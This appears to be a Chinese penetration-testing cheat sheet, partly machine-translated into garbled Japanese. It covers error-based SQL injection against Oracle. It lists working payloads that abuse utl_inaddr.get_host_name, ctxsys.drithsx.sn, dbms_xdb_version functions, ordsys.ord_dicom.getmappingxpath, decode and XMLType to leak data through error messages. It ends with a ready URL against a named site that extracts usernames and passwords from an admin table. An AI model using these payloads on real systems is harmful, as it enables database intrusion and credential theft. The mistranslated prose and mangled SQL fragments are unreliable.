0X01
エラー注入の同様の使用は、1 = [エラーステートメント] 1>所定のステートメント]、比較を用いて、噴射がこのように与えられている(MYSQLベースを使用してのみ機能が与えられていることができる)を必要とする、注射は、MSSQLと同様に与えられます。
news.jsp?上記ID =述べ1と1 = 1 正しく news.jsp?上記ID =述べ1と1 = 2つのエラーを
そこに注入されただけで、入力エラーの情報を発見した我々は、エラーを注入しようとすることができます
0X02エラー注入機能
エラー注入のためのutl_inaddr.get_host_name()
そして1 = utl_inaddr.get_host_name((選択 TABLE_NAMEをから USER_TABLES ROWNUM = 1))
utl_inaddr.get_host_address意図は、IPアドレスを取得することですが、あなたはパラメータを渡す場合は解決できない渡されたOracleエラーと表示パラメータを返します。
return文が実行されるように、私たちのメッセージは、SQLステートメントの結果です。神託を起動した後、いくつかのシステム変数は、いくつかの特定のビューの中に設置されている、あなたが欲しいものを得るために、これらのビューを使用することができます。通常、非常に重要な情報があります。
0x002 エラー注入のためctxsys.drithsx.sn()
?ID = 1と1 = ctxsys.drithsx.sn(1、(選択ユーザからデュアル))
0x03のは)(dbms_xdb_version.checkinを使用します
そして、(選択((dbms_xdb_version.checkin 選択し、ユーザからの二重の))からデュアル)ではないヌル
0x04をdbms_xdb_version.makeversioned( )
そして、(選択 dbms_xdb_version.makeversionedは((選択したユーザをからデュアル))からデュアル)ではないヌル
0x05のdbms_xdb_version.uncheckout()
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not nul
0x06dbms_utility.sqlid_to_sqlhash()
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
0x06ordsys.ord_dicom.getmappingxpath()
and 1=ordsys.ord_dicom.getmappingxpath((select table_name from user_tables where rownum=1))
0x07decode进行报错注入因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) 匹配到正确的时候页面返回错误
?id=1 and 1=(select decode(substr(user,1,1),'s',(1/0),0) from dual)
0x08XMLType在使用这个XMLType进行报错时,很多人不知道为什么要用chr(60),通过ascii查询可以看到,60:<,58:’:’,62:’>’,查了下相关的api,发现xmltype在进行解析的时候必须以<开头>结尾,这里:冒号在这是必不可少的,至于为什么是冒号这个我也没查到,另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,有replace函数替换成其他非空字符就可以
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null
0X020x02 报错函数注入数据
报错admin表的 用户和密码
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--
其他报错函数差不多
by 感谢卿哥